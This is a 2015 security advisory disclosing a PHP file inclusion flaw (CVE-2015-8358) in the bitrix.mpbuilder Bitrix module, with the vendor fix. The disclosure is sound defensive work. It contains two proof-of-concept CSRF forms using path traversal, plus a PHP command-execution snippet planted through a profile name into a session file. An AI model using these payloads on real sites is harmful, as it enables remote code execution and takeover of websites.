PHP File Inclusion in bitrix.mpbuilder Bitrix Module

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23281
Product: bitrix.mpbuilder Bitrix module
Vendor: www.1c-bitrix.ru
Vulnerable Version(s): 1.0.10 and probably prior
Tested Version: 1.0.10
Advisory Publication:  November 18, 2015  [without technical details]
Vendor Notification: November 18, 2015 
Vendor Patch: November 25, 2015 
Public Disclosure: December 9, 2015 
Vulnerability Type: PHP File Inclusion [CWE-98]
CVE Reference: CVE-2015-8358
Risk Level: Critical 
CVSSv3 Base Score: 9.6 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in bitrix.mpbuilder Bitrix module, which can be 
exploited to include and execute arbitrary PHP file on the target system with privileges of the web server. The 
attacker will be able to execute arbitrary system commands and gain complete control over the website.

Access to vulnerable modules requires administrative privileges, however the vulnerability can be used by anonymous 
users via CSRF vector.
 
The vulnerability exists due to insufficient filtration of "work[]" HTTP POST parameter in 
"/bitrix/admin/bitrix.mpbuilder_step2.php" script before using it in the include() PHP function. A remote attacker can 
include and execute arbitrary local file on the target system.

A simple exploit below will include and execute "/tmp/file" file:

<form action="http://[host]/bitrix/admin/bitrix.mpbuilder_step2.php?module_id=blog"; method="post" name="main">
<input type="hidden" name="save" value="1">
<input type="hidden" name="work[/../../../../../../../../../../../../../../../../../../tmp/file]" value="1">
<input value="submit" id="btn" type="submit" />
</form>


In a real-world scenario an attacker can use session files to execute arbitrary PHP code. For example, an attacker can 
change name in his profile to <? exec($_POST['cmd']); ?> and create a CSRF exploit that will pass arbitrary commands 
and execute them on the system. The PoC code below executes /bin/ls command using previously created session file with 
malicious "NAME" value:


<form action="http://[host]/bitrix/admin/bitrix.mpbuilder_step2.php?module_id=blog"; method="post" name="main">
<input type="hidden" name="save" value="1">
<input type="hidden" name="work[/../../../../../../../../../../../../../../../../../../tmp/sess_[SESSION_ID]]" 
value="1">
<input type="hidden" name="cmd" value="ls">
<input value="submit" id="btn" type="submit" />
</form>



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Solution:

Update to bitrix.mpbuilder module 1.0.12

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References:

[1] High-Tech Bridge Advisory HTB23281 - https://www.htbridge.com/advisory/HTB23281 - PHP File Inclusion in 
bitrix.mpbuilder Bitrix module
[2] bitrix.mpbuilder - https://marketplace.1c-bitrix.ru/solutions/bitrix.mpbuilder/ - Bitrix module for software 
developers. 
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and 
cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.